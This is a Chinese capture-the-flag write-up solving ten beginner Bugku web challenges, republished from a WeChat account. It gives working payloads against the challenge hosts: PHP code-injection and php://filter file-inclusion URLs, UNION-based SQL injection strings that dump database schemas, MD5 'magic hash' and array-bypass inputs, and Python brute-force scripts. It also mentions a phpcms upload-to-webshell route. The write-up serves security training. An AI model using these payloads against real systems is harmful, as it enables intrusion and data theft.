前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >bugkuctf_web_writeup(部分)--下

bugkuctf_web_writeup(部分)--下

作者头像
安恒网络空间安全讲武堂
发布2018-03-26 18:30:35
1.3K0
发布2018-03-26 18:30:35
举报

bugkuctf平台10个较简单的web题目writeup,适合新手入门,可以找来试试http://ctf.bugku.com/bbs 。

本地包含

题目描述:

地址:http://120.24.86.145:8003/

这里需要我们传参hello,然后使用var_dump()函数输出

这里直接使用show_source()函数,也可以使用highlight_file()函数,显示flag.php的源码

http://120.24.86.145:8003/?hello=show_source("flag.php")

http://120.24.86.145:8003/?hello=highlight_file("flag.php")

变量1

题目描述: http://120.24.86.145:8004/index1.php

还是代码审计,发现有“$$”可变变量

这里涉及到超全局变量的使用

$GLOBALS:引用全局作用域中可用的全部变量

所以这里构造http://120.24.86.145:8004/index1.php?args=GLOBALS输出所有变量

Web4

题目描述: 看看源代码吧

http://120.24.86.145:8002/web4/

很容易理解,url解码后拼接,得到:

function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

得到password为:67d709b2b54aa2aa648cf6e87a7114f1

提交后得到flag

Web5

题目描述:

JSPFUCK??????答案格式CTF{**}

http://120.24.86.145:8002/web5/

字母大写

查看源代码,发现jsfuck编码,丢到控制台运行就可以得到flag

注意提交flag时字母大写

flag在index里

题目描述:

http://120.24.86.145:8005/post/

点击后查看url变成:

http://120.24.86.145:8005/post/index.php?file=show.php

很容易想到文件包含,题目又说flag在index.php中,所以直接使用php://filter读取index.php的内容,然后base64解码即可

http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

解码后看到flag

phpcmsV9

题目描述:

一个靶机而已,别搞破坏。

多谢各位大侠手下留情,flag在根目录里txt文件里

http://120.24.86.145:8001/

这是phpcms的一个任意文件上传漏洞,可以直接getshell

具体看https://bbs.ichunqiu.com/thread-21514-1-1.html

得到shell后直接用菜刀连接

在根目录下发现flag

输入密码查看flag

题目描述:

http://120.24.86.145:8002/baopo/

作者:Se7en

5位数的密码,写个脚本爆破就可以了

#-*-coding:utf-8-*-

import requests

url = "http://120.24.86.145:8002/baopo/"

session = requests.Session()

payload1 = {'pwd':10000}

res1 = session.post(url,payload1)

for passwd in range(10001,99999):

payload = {'pwd':passwd}

res = session.post(url,payload)

if res.content != res1.content:

print res.content

break

前女友

题目描述:

http://47.93.190.246:49162/

flag格式:SKCTF{xxxxxxxxxxxxxxxxxx}

查看源代码后,发现存在code.txt

是Php弱类型比较,两个变量值不同但是他们的md5值却相同

这里提供一些这样的值

s878926199a

s155964671a

s214587387a

s214587387a

s878926199a

s1091221200a

s1885207154a

而strcmp()函数无法处理数组,所以这里可以用数组绕过。

http://47.93.190.246:49162/?v1=s878926199a&v2=s155964671a&v3[]=a

还有就是php的md5()函数无法处理数组,所以也可以这样绕过

http://47.93.190.246:49162/?v1[]=a&v2[]=b&v3[]=c

JavaScript

题目描述:

http://120.24.86.145:9001/test/

点击一百万次

查看源代码,只有当clicks的值大于1000000时,才会显示flag

不妨用hackbar将clicks的值用post提交试试

成功得到flag

成绩单

题目描述:

快来查查成绩吧

http://120.24.86.145:8002/chengjidan/

post注入

可以看到底4位有数据

1. 暴库

id=-1' union select 1,2,3,group_concat(schema_name) from information_schema.schemata#

2. 爆表

id=-1' union select 1,2,3,table_name from information_schema.tables where table_schema=0x736b6374665f666c6167#

3. 爆字段

id=-1' union select 1,2,3,column_name from information_schema.columns where table_name=0x666c3467#

4. 爆内容

id=-1' union select 1,2,3,group_concat(skctf_flag) from skctf_flag.fl4g#

Web6

题目描述:

速度要快!!!!!!

http://120.24.86.145:8002/web6/

格式KEY{xxxxxxxxxxxxxx}

在http头里发现

Base64解码后为:

跑的还不错,给你flag吧: OTE2Mjgz

其中“OTE2Mjgz”再经base64解码后为数值,然后作为margin的参数提交

但是这个值每次都是变化的

还是写脚本吧

#-*-coding:utf-8-*-

import requests

import base64

url = "http://120.24.86.145:8002/web6/"

session = requests.Session()

res = session.get(url).headers['flag']

flag = base64.b64decode(base64.b64decode(res).split(':')[1])

payload = {'margin':flag}

res1 = session.post(url,payload)

print res1.content

运行结果:

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-03-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档